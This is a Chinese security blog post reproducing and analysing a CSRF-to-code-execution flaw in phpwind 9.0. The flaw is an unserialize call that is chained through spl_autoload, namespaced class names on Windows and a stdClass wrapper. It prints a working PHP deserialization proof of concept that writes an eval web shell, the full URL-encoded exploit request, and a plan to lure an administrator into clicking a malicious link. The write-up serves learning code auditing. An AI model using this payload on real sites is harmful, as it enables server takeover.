Fork me on GitHub

Phpwind9-GET型CSRF任意代码执行漏洞复现与分析

总有一段路,需要一个人走,那就一个人,勇敢的走完

学习wooyun1000个代码审计案例,看到很有技巧性的漏洞跟踪学习下

漏洞复现

复现环境

  • Windows10
  • php5.6
  • phpwind9.0

漏洞要求

  • 系统为windows
  • 需要有访问后台任务中心权限

复现过程

  • step1 生成反序列化poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    <?php
    // test.php
    header("Content-Type: text/plain");
    require_once "test2.php";
    class PwDelayRun{
    private $_callback;
    private $_args;
    function __construct()
    {
    $this->_callback = [
    'assert'
    ];
    $this->_args = [
    ["phpinfo() && file_put_contents('shell.php','<?php eval(\$_REQUEST[233]); ?>');"]
    ];
    }
    }
    $obj = new stdClass();
    $obj->a = new src\library\utility\PwDelayRun();
    $obj->b = new PwDelayRun();
    echo serialize($obj);
    echo "\n";
    echo urlencode(serialize($obj));
    ?>
    <?php
    //test2.php
    namespace src\library\utility;
    class PwDelayRun{
    }
    ?>

  • step2 使用admin账户登陆,然后请求http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A30%3A%22src%5Clibrary%5Cutility%5CPwDelayRun%22%3A0%3A%7B%7Ds%3A1%3A%22b%22%3BO%3A10%3A%22PwDelayRun%22%3A2%3A%7Bs%3A21%3A%22%00PwDelayRun%00_callback%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7Ds%3A17%3A%22%00PwDelayRun%00_args%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Bs%3A79%3A%22phpinfo%28%29%3Bfile_put_contents%28%27shell.php%27%2C%27%3C%3Fphp+eval%28%24_REQUEST%5B233%5D%29%3B+%3F%3E%27%29%3Bexit%3B%22%3B%7D%7D%7D%7D

    代码成功执行

    shell成功写入

漏洞分析

全局搜索找到反序列化位置

漏洞位置一共三处:

1
2
3
/src/applications/admin/TaskConditionBbsController.php
/src/applications/admin/TaskConditionMemberController.php
/src/applications/admin/TaskRewardController.php

这里使用/src/applications/admin/TaskConditionMemberController.php

$var = unserialize($this->getInput('var'));
,从Input中获取var参数的值,进行反序列化。 这个Input可以来自get/post/cookie。只要在phpwind里找到反序列化可以利用的点,就能在这里触发反序列化漏洞。

全局搜索_destruct

可以找到一个PwDelayRun类,其中遍历了_callback数组,用call_user_func_array执行任意函数。这里如果_callback可控,那么就可以直接执行assert+任意代码了。在/src/applications/admin/TaskConditionMemberController.php中,输入可以控制PwDelayRun类的序列化字符串,但是在执行反序列话之前必须定义了PwDelayRun类(也就是在此之前要包含过PwDelayRun所在的文件)

TaskConditionMemberController::beforeAction::unserialize处下端点,并在之前输出当前所定义的所有类

访问连接http://127.0.0.1/phpwind9.0/admin.php?m=task&c=TaskConditionMember&a=profile&var=

可以看到在此之前没有定义过PwDelayRun类,那么即使反序列化也不会调用相关方法

spl_autoload包含任意php文件

为了包含PwDelayRun类,作者提到了使用spl_autoloa方法,就是说如果要使用的类不存在,会调用框架自己注册的autoload方法加载类。在phpwind9中,实现了autoload方法,并注册了

但是这里className没有路径,PwDelayRun类在src/library/utility/PwDelayRun.php文件中,需要传入路径才可以包含到这个类。 虽然类名不能包含特殊字符,但类名中是可以包含\的,这是php中空间命名。命名空间中可以包含\,而在windows下,\也可以作为路径的分隔符,因此可以在payload中使用命名空间生成序列化字符串,在phpwind9中找不到类的时候,就会使用include包含。而包含时\只能在windows上使用,所以只限于windows系统。

但是,这里将类名设置为src\library\utility\PwDelayRun,而 整个phpwind全局是没有使用命名空间的,也就是默认命名空间为\,但现在的PwDelayRun类所在的命名空间为src\library\utility。 这样,即使我包含了src\library\utility\PwDelayRun.php文件,反序列化的时候是实例化的src\library\utility\PwDelayRun类。但phpwind的命名空间是\,上下文存在的类是\PwDelayRun类,还是无法正常进行(得到的是一个不完整的类__php_incomplete_class,这是因为php反序列化一个对象,PHP无法找到原始类,所以PHP不知道,这个类是怎么样的):

只要生成src\library\utility\PwDelayRun类和\PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun对象

利用数组+命名空间加载相同名字的类

生成src\library\utility\PwDelayRun类和\PwDelayRun类两个对象,放在一个数组中,在反序列化前者的过程中include目标文件,在反序列化后者的过程中拿到PwDelayRun对象。但是有个数组判断,

这里如果反序列化后是个数组,就会保存到output中,导致变量不会在beforeAction结束时销毁,而是在脚本束时销毁。如果在结束时销毁,由于没有了上下文,poc中写文件那一步是写不进去的,除非文件路径给绝对给绝对路径,自己可以测试下。作者在分析中给了一个方法,就是用其他对象来替代数组,比如stdClass,

所以最后得到如下poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
// test1.php
header("Content-Type: text/plain");
require_once "test2.php";
class PwDelayRun{
    private $_callback;
    private $_args;
    function __construct()
    {
        $this->_callback = [
            'assert'
        ];
        $this->_args = [
            ["phpinfo() && file_put_contents('shell.php','<?php eval(\$_REQUEST[233]); ?>')"]
        ];
    }
}
$obj = new stdClass();
$obj->a = new src\library\utility\PwDelayRun();
$obj->b = new PwDelayRun();
echo urlencode(serialize($obj));
?>
<?php
//test2.php
namespace src\library\utility;
class PwDelayRun{
}
?>

csrf

由于上面的代码执行链接是get请求,不需要post中的csrftoken或其他验证,所以可以写个帖子,插入恶意链接,等待管理员点击。但是帖子中把&编码了,导致请求不正常,不过可以增加一步跳转

总结

这个漏洞很犀利和巧妙,所以自己跟踪与学习了下,加强自己的代码审计与分析能力,还有学到一些新技能:

  • 可以调用get_declared_classes查看当前执行所加载的所有自定义类
  • 反序列化时,如果反序列化点之前没有加载过要反序列化的类,spl_autoload可能会很有帮助,查看框架是否使用了autoload
  • 反序列化时,可以使用一种对象替代另一种对象绕过某些判断(比如用stdClass替代array)
-------------本文结束感谢您的阅读-------------

本文标题:Phpwind9-GET型CSRF任意代码执行漏洞复现与分析

文章作者:Longofo

发布时间:2019年03月08日 - 09:03

最后更新:2019年03月08日 - 14:03

原始链接:http://longofo.cc/Phpwind9-GET型CSRF任意代码执行漏洞复现与分析.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

请我吃包辣条也好啊!!!
分享到: